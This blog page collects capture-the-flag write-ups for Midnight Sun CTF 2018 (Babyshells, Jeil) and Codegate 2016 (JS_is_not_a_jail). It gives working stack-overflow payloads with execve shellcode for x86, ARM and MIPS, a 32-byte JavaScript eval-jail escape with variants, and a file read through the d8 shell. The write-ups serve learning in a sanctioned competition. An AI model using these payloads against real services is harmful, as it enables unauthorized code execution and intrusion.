Showing posts with label jail. Show all posts
Showing posts with label jail. Show all posts

Monday, April 23, 2018

Midnight Sun CTF Quals 2018 - Babyshells & Jeil



This CTF was a lot of fun! The style of the board and assets in the game were extremely creative and well done!

Here are the challenges from the competition:



First we're going to start with Babyshells, a simple 50pt pwn challenge. Then move onto Jeil, a 200pt pwn challenge involving a JavaScript jail.


Babyshells


Description:

If you hold a babyshell close to your ear, you can hear a stack getting smashed

Solves: 71
Service: nc 52.30.206.11 7000 (x86) | nc 52.30.206.11 7001 (ARM) | nc 52.30.206.11 7002 (MIPS)
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/babyshells.tar.gz
Author: likvidera

This one was a simple baby's first 90's shellcode style exploitation challenge, with the caveat that you have to exploit a binary on multiple architectures to get the flag.

Each binary would drop a part of the flag, so in order to complete the challenge, you would need to exploit all of them.

Running the x86 binary we get some nice ASCII art : ) -- It's also easy to make it crash!



Starting with dynamic analysis, cyclic will show the offset of the SIGSEGV as 40, but when using the interrupt (0xCC) we find the exact offset to be 38 (this offset will be used across all binaries in this challenge):

$ gdb ./chall
pwndbg> r <<< $(python -c 'from pwn import *; print "1\n" + cyclic(100)')
...
*EIP  0xffffce6a &lt;— 0x6161616b ('kaaa')
pwndbg> cyclic -l 0x6161616b
40

$ python -c 'from pwn import *; print "1\n" + "A"*38 + "\xcc"' | strace -i ./chall |& grep SIGTRAP
[ff81a049] --- SIGTRAP {si_signo=SIGTRAP, si_code=SI_KERNEL} ---

Now we just need some shellcode! Heading over to shell-storm we can grab a few that will work for these challenges.

Starting with one for x86, we get our first shell:

$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'"; cat) | nc 52.30.206.11 7000
cat flag
midnight{pwn_all_the_x86_

We have our flag chunk, now let's go onto the next architecture - arm.

The organizers were nice enough to included qemu-arm with the challenge package, as well as a Docker setup to get up and running with the challenges quickly.

The same payload with shellcode specific to arm also popped a shell:

$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x00'"; cat) | nc 52.30.206.11 7001
cat flag
pwn_all_th3_4rm


Same story with mips (it took a while to find a working payload for this one):

(python -c "from pwn import *; print '1\n' + '\x90'*38 + '\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c'"; cat) | nc 52.30.206.11 7002
cat flag
_pWN_4ll_th3_m1p5}

All of the flag chunks together turned out to be the final flag:

midnight{pwn_all_the_x86_pwn_all_th3_4rm_pWN_4ll_th3_m1p5}


Jeil


Description:

You are awesome at breaking into stuff, how about breaking out?

Solves: 32
Service: nc web2.midnightsunctf.se 55542 | nc 34.244.177.217 55542
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/jeil.tar.gz
Author: avlidienbrunn


So this challenge is all about breaking out of a JavaScript jail. The source of this challenge may be found here: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jail.js_source.js.

This was the source included with the challenge, and it includes some template strings to generate a new instance of the server. To help with iteration, there's another upload including a fake flag to use during initial exploration: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jeil-example.js

An easy way to test this script out is to use Node.js.

To run it, just call the js file with Node (after installing the dependency readline):

$ npm i
$ node jeil-example.js
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: AAAA
Unrecognized code.

readline.js:1021
            throw err;
            ^
123


With the naive input 'AAAA' as an example, we get an error thrown saying '123'. If we look in the code, this error occurs in three places:


Character black list:

if(new RegExp(/[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/).test(code)){
  console.log("Unrecognized code.");
  throw 123;
  return;
}

Input length is not equal to 32:

if(!(code.length == 32)){
  console.log("Incorrect code length.");
  throw 123;
  return;
}

Evaluated code with "this.secretFuncUnguessable" prepended is not a function:

ret = eval("this.secretFuncUnguessable"+code);

if(typeof ret == "function"){
  if(ret.call(this,'foo', 'bar', 'baz') === true){
      console.log("FLAG{F4k3_Fl4g!!!}");
  }else{
      console.log("Incorrect code.");
  }
}else{
  console.log("Incorrect code.");
}
throw 123;


To reiterate the rules we need to pass for our payload:

  • needs to be exactly 32 bytes
  • chars must not be in regex /[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/
  • evaluated "this.secretFuncUnguessable" + code must be a function type

The first two rules are simple to pass, the last is somewhat tricky.
If you remember from the source, "this.secretFuncUnguessable{{ENV_SECRET_0}}" is defined in the source, but we do not know ENV_SECRET_0, and we probably don't want to guess it.
Instead we can figure out how to call our own function to pass the last check.

We know that "this.secretFuncUnguessable" does not exist unless ENV_SECRET_0 is set to "".  We can use that assumption to our advantage by starting with the or operator in JavaScript.  this will return the second value (our code) if the first is undefined.  Here's a simple example:

> const foo = undefined;
> const result = foo || 'AAAA';
> result
'AAAA'

It's also easy to create a function in later versions of node without braces using the arrow function:

> () => 123
[Function]

We can create a simple function which returns true by comparing 1 against itself:

> (()=>1==1)()
true

Now we have a working payload, we just need to add some padding to make it 32 bytes:

> result = undefined || (()=>1==1)
> typeof result
'function'
> result()
true

With the padding:

||(()=>11111111111==11111111111)


There are many other variations that could be created such as:

||000000000000000000||(()=>1==1)
||00||00||00||00||00||(()=>1==1)
||(()=>1==1)||000000000000000000
||(((((((((((()=>1==1)))))))))))
||(()=>(()=>123)()==(()=>123)())
||(()=>1*1*1*1*1*1*1*1*1*1*1==1)
||(()=>0!=111111111111111111111)
||(()=>(()=>(()=>((0==0)))())())


Now if we try this against the sample server we get the fake flag!

$ echo '||(()=>11111111111==11111111111)' | node ./jeil-example.js

| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: ||(()=>11111111111==11111111111)
32
FLAG{F4k3_Fl4g!!!}


When this is run against the CTF server, we get the actual flag:

$ echo '||(()=>11111111111==11111111111)' | nc 34.244.177.217 55542

| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: midnight{f33lin_fr1sky_f0r_funky_funct10nz}

Wednesday, March 16, 2016

Codegate CTF 2016 - JS_is_not_a_jail (100)



Loved playing Codegate this year, this was a fun challenge, although it went a little quick.


The server was provided in the description:

nc 175.119.158.131 1129


After connecting you get a d8 shell.  Looking this up I quickly learned it was a V8 engine javascript shell.  Found this and a few helpful commands from this post - http://www.sandeepdatta.com/2011/10/using-v8-javascript-shell-d8.html

After playing around a bit, looking for methods similar to node, I just tried one of the methods listed in the blog post above:


d8> quit(1)


This lead to the unintentional way of solving the challenge, but it was quick and I took it.  (Also probably due to my poor ability to read directions right in-front of me)

Here was the result of running the quit command on the server:


  quit(1)
  Traceback (most recent call last):
    File "/home/codegate/wrapper.py", line 14, in 
      p.expect("d8>")
    File "/usr/local/lib/python2.7/dist-packages/pexpect/spawnbase.py", line 315, in expect
      timeout, searchwindowsize, async)
    File "/usr/local/lib/python2.7/dist-packages/pexpect/spawnbase.py", line 339, in expect_list
      return exp.expect_loop(timeout)
    File "/usr/local/lib/python2.7/dist-packages/pexpect/expect.py", line 102, in expect_loop
      return self.eof(e)
    File "/usr/local/lib/python2.7/dist-packages/pexpect/expect.py", line 49, in eof
      raise EOF(msg)
  pexpect.exceptions.EOF: End Of File (EOF). Exception style platform.
  
  command: /usr/bin/v8/d8
  args: ['/usr/bin/v8/d8', '--shell', '/home/codegate/cg.js']
  searcher: None
  buffer (last 100 chars): ''
  before (last 100 chars): ' quit(1)\r\n'
  after: 
  match: None
  match_index: None
  exitstatus: 1
  flag_eof: True
  pid: 13615
  child_fd: 5
  closed: False
  timeout: 30
  delimiter: 
  logfile: None
  logfile_read: ', mode 'w' at 0x7fbc2021d150>
  logfile_send: None
  maxread: 2000
  ignorecase: False
  searchwindowsize: None
  delaybeforesend: 0.05
  delayafterclose: 0.1
  delayafterterminate: 0.1

Ahhh! What a useful traceback, Thank You D8! This makes the challenge a lot easier :D

We can see the executed script for the challenge is:

  args: ['/usr/bin/v8/d8', '--shell', '/home/codegate/cg.js']

or

/usr/bin/v8/d8 --shell /home/codegate/cg.js


So let's check out that file if we can by reading it in d8!

d8> read("/home/codegate/cg.js")

  read("/home/codegate/cg.js")
  "function js_challenge(flag) {
    return function(arr) {
      var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6";
      var check = "20150303";

      if((arr === null || arr === undefined)) {
        print("arr is null or undefined.");
        return;
      }

      if(!arr.hasOwnProperty('length')) {
        print("length property is null or undefined.");
        return;
      }

      if(arr.length >= 0) {
        print("i think you're not geek. From now on, a GEEK Only!");
        return;
      }

      if(Object.getPrototypeOf(arr) !== Array.prototype) {
        print("Oh.... can you give me an array?");
        return;
      }

      var length = check.length;
      for(var i=0;i<length;i++) {
        arr[i] = random_value[Math.floor(Math.random() * random_value.length)];
      }

      for(i=0;i<length;i++) {
        if(arr[i] !== check[i]) {
          print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)");
          return;
        }
      }
      print("Yay!!");
      print(flag);
    }
  }

  var challenge100 = js_challenge('flag is \"easy xD, get a more hardest challenge!\"');

  print("[JavaScript Jail]")
  print("let start to type on 'challenge100'")

  "


Flag!

easy xD, get a more hardest challenge!


The flag doesn't lie, as we can see in the source of the challenge, it wouldn't have been that bad the other way either. But still a lot easier just reading the source!

And even though it was the simple route, still had a lot of fun playing around in d8, learning new things and finding a flag.